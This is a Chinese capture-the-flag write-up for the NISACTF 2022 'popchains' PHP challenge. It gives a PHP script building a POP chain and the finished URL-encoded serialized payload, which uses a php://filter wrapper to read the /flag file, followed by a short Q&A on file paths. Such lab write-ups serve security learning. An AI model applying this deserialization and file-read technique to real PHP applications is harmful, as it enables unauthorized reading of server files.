[NISACTF 2022]popchains - 反序列化+伪协议

[NISACTF 2022]popchains

一、解题流程

1、链条:Road_is_Long(construct->wakeup【page=$r】-> toString【string=$m】)-> Make_a_Change(construct->get【effort=$t】)-> Try_Work_Hard(invoke->append【var='php://filter/read=convert.base64-encode/resource=/flag'】)

2、根据链条:编写代码

php 复制代码
<?php
class Road_is_Long{
    public $page;
    public $string;
}
class Try_Work_Hard{
    protected  $var = "php://filter/read=convert.base64-encode/resource=/flag";
}
class Make_a_Change{
    public $effort;
} 

$r = new Road_is_Long();
$t = new Try_Work_Hard();
$m = new Make_a_Change();
$r->page=$r;
$r->string=$m;
$m->effort=$t;

//echo serialize($r);
echo urlencode(serialize($r));
?>

3、payload=O%3A12%3A%22Road_is_Long%22%3A2%3A%7Bs%3A4%3A%22page%22%3Br%3A1%3Bs%3A6%3A%22string%22%3BO%3A13%3A%22Make_a_Change%22%3A1%3A%7Bs%3A6%3A%22effort%22%3BO%3A13%3A%22Try_Work_Hard%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A54%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3D%2Fflag%22%3B%7D%7D%7D

4、通过payload得到flag的base64编码,解密得到flag即可

二、小小疑惑

疑问:/flag能获取是因为在根目录下吗?为什么写/flag.php就不行?如果对.过滤的话,应该会echo "You can Not Enter 2022";才对啊?

解答:这道题是2022年出的,这道题目下方提示flag.php文件,说明flag.php在当前目录下,但是答案是在根目录下,且是flag文件,所以个人认为是后面这台环境变了的问题。

相关推荐
YUJIANYUE1 小时前
PHP7+MySQL5.6 雪里开简易预约制访客管理系统V1.0
mysql·php
炎码工坊2 小时前
云原生安全实践:CI/CD流水线集成DAST工具
安全·网络安全·微服务·云原生·系统安全
EndingCoder4 小时前
网络请求与本地存储:Axios 与 AsyncStorage 在 React Native 中的应用
网络·react native·php
TGC达成共识6 小时前
菌菇食用攻略:从营养解析到安全指南,解锁科学食菌
大数据·人工智能·其他·安全·百度·生活·新浪微博
Nick同学6 小时前
原生 PHP 操作数据库的方式
数据库·后端·php
金灰7 小时前
spider分享--图片
前端·chrome·安全
珹洺7 小时前
MyBatis实战指南(七)MyBatis缓存机制
java·数据库·sql·安全·缓存·oracle·mybatis
fakaifa8 小时前
仓库物资出入库管理系统源码+uniapp小程序
小程序·uni-app·开源·php·源码下载·仓库物资出入库·出入库系统源码
加油搞钱加油搞钱8 小时前
鹰盾Win播放器作为专业的视频安全解决方案,除了硬件翻录外还有什么呢?
网络·安全·音视频·视频加密·鹰盾播放器·鹰盾加密器
IpdataCloud8 小时前
手机号段数据库与网络安全应用
数据库·web安全·oracle·手机号码查询·手机号段识别